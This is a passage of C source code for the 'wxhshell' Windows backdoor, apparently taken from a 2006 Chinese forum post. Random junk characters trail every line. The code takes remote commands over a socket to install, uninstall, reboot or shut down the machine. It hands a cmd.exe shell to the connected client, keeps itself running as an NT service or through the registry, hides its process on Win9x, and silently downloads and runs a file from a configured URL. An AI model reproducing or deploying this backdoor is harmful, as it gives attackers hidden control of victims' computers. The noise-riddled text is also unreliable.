  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {=67XrWN1  
  else 8f|98T"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j C)-`_  
  } &kzj?xK=(j  
  else { {L].T#  
BgM%+b8u  
    switch(cmd[0]) { -}P7$|O &  
  ]W/>Ldv  
  // 帮助 9gy(IRGq/  
  case '?': { le8 #Z}p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {WQq}-(  
    break; ygzxCn|#  
  } s9@Sd  
  // 安装 .fp&MgiQ  
  case 'i': { 5pfYEofK[  
    if(Install()) H>XFz(LWh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y!~qbh[  
    else Be2lMC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p $Hi[upy  
    break; | &7S8Q  
    } H;Ku w  
  // 卸载 t0Mx!p'T  
  case 'r': { wP<07t[-g  
    if(Uninstall()) z=g$Exl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pvF-Y9Xb  
    else vcv CD7MD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BhkoSkr  
    break; [ *>AN7W   
    } [ c~kF+8  
  // 显示 wxhshell 所在路径 V kjuyK  
  case 'p': { K\u_Ji]k  
    char svExeFile[MAX_PATH]; y t5H oy  
    strcpy(svExeFile,"\n\r"); -DjJ",h( $  
      strcat(svExeFile,ExeFile); mV)+qXC  
        send(wsh,svExeFile,strlen(svExeFile),0); pr&=n;_ n  
    break; /<{:I \<  
    } Dd,2;#_  
  // 重启 5)UQWnd5  
  case 'b': { `XKVr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x#*QfE/E(@  
    if(Boot(REBOOT)) iOCqE 5d3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <%P2qgz5  
    else { M'L;N!1A  
    closesocket(wsh); ++jAz<46  
    ExitThread(0); 4<gb36)|4  
    } Mxl]"?z  
    break; GpI!J}~m  
    } +?dl`!rE  
  // 关机 VUwC-)  
  case 'd': { ;+/o?:AH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Nd@~>&F  
    if(Boot(SHUTDOWN)) Ef)yQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *F`A S>  
    else { "@/62b  
    closesocket(wsh); hgj <>H|  
    ExitThread(0); 'xE _Cj  
    } Fmr}o(q1  
    break; yN6>VD{F  
    }  Vzl^Ka'  
  // 获取shell VIJ<``9[  
  case 's': { 8gy_Yj&{P  
    CmdShell(wsh); gckI.[!b  
    closesocket(wsh); IzLQhDJ1  
    ExitThread(0); X3%Ic`Lq#  
    break; Ul+Mo&y-  
  } 6"f}O<M 5H  
  // 退出 5d\q-d  
  case 'x': { !?!C'-ps  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )B$;Vs] @i  
    CloseIt(wsh); ye}p~&  
    break; >e,mg8u6$  
    } $I9qgDJ)  
  // 离开 &--ej|n  
  case 'q': { )#iq4@)|g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bm% $86  
    closesocket(wsh); }"^'% C8EX  
    WSACleanup(); 9DQa PA6  
    exit(1); VQ#3#Hj  
    break; tmUFT  
        } kwpK1R4zs  
  } BV#78,8(  
  } [*:6oo98'  
Qnd5X`jF#  
  // 提示信息 RsJ6OFcWV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'T<iHV&  
} }Gyqq6Aeb  
  } H<EQu|f&x  
k%]=!5F  
  return; n\z,/'d"  
} {gbn/{  
L;Z0`mdz  
// shell模块句柄 :Bu2,EL*O  
int CmdShell(SOCKET sock) L|@y&di  
{ qqrq11W  
STARTUPINFO si; svf|\p>]H  
ZeroMemory(&si,sizeof(si)); j z58E}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y5ZZ3Ati  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M-V&X&?j  
PROCESS_INFORMATION ProcessInfo; z7GTaX$d  
char cmdline[]="cmd"; \;u@"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qt%D'  
  return 0; b` Hz$8  
} O3DmNq$dz  
a2Pf/D]n  
// 自身启动模式 ,JU@|`  
int StartFromService(void) G)v #+4  
{ W6H,6v  
typedef struct 10!wqyj&  
{ ,<BbpIQ2o  
  DWORD ExitStatus; *}k;L74|  
  DWORD PebBaseAddress; ^sN (  
  DWORD AffinityMask; U8qtwA9t  
  DWORD BasePriority; LI2&&Mw  
  ULONG UniqueProcessId; ,1OyN]f3  
  ULONG InheritedFromUniqueProcessId; c:Wze*vI ;  
}   PROCESS_BASIC_INFORMATION; om?-WJI  
|sRipWh  
PROCNTQSIP NtQueryInformationProcess; Mi'8 ~J  
26T"XW'_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ] e. JNo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^uv<6  
mKo C.J  
  HANDLE             hProcess; [ i#zP  
  PROCESS_BASIC_INFORMATION pbi; >SPh2[f  
nWQ;9_qBB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !*6CWV0  
  if(NULL == hInst ) return 0; `;%]'F0`  
sVG(N.y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?T+q/lt4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZaNQpH.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U- )i+}Ng  
J{^RkGF  
  if (!NtQueryInformationProcess) return 0; E4 m`  
,|&9M^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x#Sqn#  
  if(!hProcess) return 0; F 8B#}%JE  
( Jz;W<E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pPd#N'\*  
9]q:[zm^  
  CloseHandle(hProcess); &gzCteS  
e[hcJz!D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `{qG1  
if(hProcess==NULL) return 0; [JF150zr  
g=I8@m  
HMODULE hMod; E@7J:|.)R  
char procName[255]; (?nCy HC%g  
unsigned long cbNeeded; _h}kp\sps  
`ZC<W]WYX/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y!!2WHvE  
L:@7tc.  
  CloseHandle(hProcess); x?&$ci  
,}K<*t[I  
if(strstr(procName,"services")) return 1; // 以服务启动 [jmd  
!.d@L6  
  return 0; // 注册表启动 9k{PBAP  
} 2RSt)3!},  
;G%R<Z  
// 主模块 yn#X;ja-  
int StartWxhshell(LPSTR lpCmdLine) l ok=  
{ VkZ7#  
  SOCKET wsl; nqLA}u4IM  
BOOL val=TRUE; }iuWAFZbGS  
  int port=0; j_Yp>=+[  
  struct sockaddr_in door; I_RsYw  
qgfi\/$6  
  if(wscfg.ws_autoins) Install(); o"*AtGR+"  
812$`5l  
port=atoi(lpCmdLine); t.;LnrY  
~?(N  
if(port<=0) port=wscfg.ws_port; rS;Dmm  
7Hs%Cc"  
  WSADATA data; EY tQw(!Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f k&8]tK4  
^pUHKXihD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >p"c>V& 8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6Oy$gW)  
  door.sin_family = AF_INET; BqT y~{)+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *c2YRbU(  
  door.sin_port = htons(port); <~WsD)=$  
H- $)3"K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x9JD\vZ  
closesocket(wsl); S_Wrw z  
return 1; 8SGo9[U2  
} &G-!qxe  
.X;3,D[w  
  if(listen(wsl,2) == INVALID_SOCKET) { %\:[ o  
closesocket(wsl); V;v8=1t!  
return 1; ml+; Rmvb  
} % yw?s0  
  Wxhshell(wsl);  a24"yT  
  WSACleanup(); o7$'cn  
\ZkA>oO".  
return 0; ;XBI{CW  
]iUx p+  
} h 5^Z2:#  
,LnII  
// 以NT服务方式启动 w9bbMx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lz?$f4TzA  
{ S Em Q@1  
DWORD   status = 0; | AozR ~  
  DWORD   specificError = 0xfffffff; N(Tz%o4  
@"^0%/2-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hbY5l}\5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9@Jtaq>jf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Hhcpp7cr'  
  serviceStatus.dwWin32ExitCode     = 0; rp ;b" q  
  serviceStatus.dwServiceSpecificExitCode = 0; }F#okU  
  serviceStatus.dwCheckPoint       = 0; ,Pdf,2  
  serviceStatus.dwWaitHint       = 0; uo@n(>}EL  
'2 PF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fR(d  
  if (hServiceStatusHandle==0) return; uc){+'[  
3R.W >U  
status = GetLastError(); : qd`zG3  
  if (status!=NO_ERROR) JPoN&BTCj  
{ ~=uWD&5B4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,Vt/(x-  
    serviceStatus.dwCheckPoint       = 0; 1ng!G 7g  
    serviceStatus.dwWaitHint       = 0; ?j"KV_  
    serviceStatus.dwWin32ExitCode     = status; ?B2] -+Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; Gz,i~XX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +lHjC$   
    return; t%E!o0+8Z  
  } sTn<#l6  
hHV";bk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vH :LQ!2  
  serviceStatus.dwCheckPoint       = 0; zem8G2#c  
  serviceStatus.dwWaitHint       = 0; JzQ)jdvp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +%ee8|\  
} |#]@Z)xa  
X:vghOt?  
// 处理NT服务事件,比如:启动、停止 w5Y04J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7/I,HxXp!  
{ ;V*l.gr'2  
switch(fdwControl) a,k>Q`  
{ i3 @)W4{  
case SERVICE_CONTROL_STOP: RO 4Z?tz  
  serviceStatus.dwWin32ExitCode = 0; e4? >-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RBs-_o+%  
  serviceStatus.dwCheckPoint   = 0; 2N: ,Q8~  
  serviceStatus.dwWaitHint     = 0; [YlKR'_  
  { [XEkz#{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;DFSzbF`  
  } 21K>`d\  
  return; )48QBz?  
case SERVICE_CONTROL_PAUSE: TJK[ev};S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DtXrWS/  
  break; VY |_d k  
case SERVICE_CONTROL_CONTINUE: t*Sa@$p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I ?gSG*m  
  break; (nf~x  
case SERVICE_CONTROL_INTERROGATE: Z2qW\E^_r  
  break; /5(Yy}  
}; Azl&mu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n"G&ENN"$  
} }`% *W`9b  
J&W)(Cf  
// 标准应用程序主函数 3@dL /x4A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n<O}hM ZT  
{ 2bw_IT  
!dyXJ Q  
// 获取操作系统版本 <>y;.@}Q  
OsIsNt=GetOsVer(); itBwCIjG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -GhP9; d  
JtYP E?  
  // 从命令行安装 s4A43i'g!h  
  if(strpbrk(lpCmdLine,"iI")) Install(); T@2#6Tffo  
#`CA8!j!!  
  // 下载执行文件 Z}mLLf E  
if(wscfg.ws_downexe) { #U! _U+K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a, k'Vk{  
  WinExec(wscfg.ws_filenam,SW_HIDE); Wh+{mvu#  
} 8xMEe:}V  
SUCM b8  
if(!OsIsNt) { n.!#P|  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZSjMH .Ij"  
HideProc(); yu!h<nfzA  
StartWxhshell(lpCmdLine); Ugu[|,  
} l{I6&^!KS  
else Ta ?_5  
  if(StartFromService()) }vxw*8d?  
  // 以服务方式启动 ~zCEpU|@N  
  StartServiceCtrlDispatcher(DispatchTable); -JMdE_h  
else {XR6>]  
  // 普通方式启动 x+ Ttl4  
  StartWxhshell(lpCmdLine); H?<N.Dq  
WIC/AL'  
return 0; 0^I|u t4  
}
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只看该作者 1 发表于: 2006-10-10
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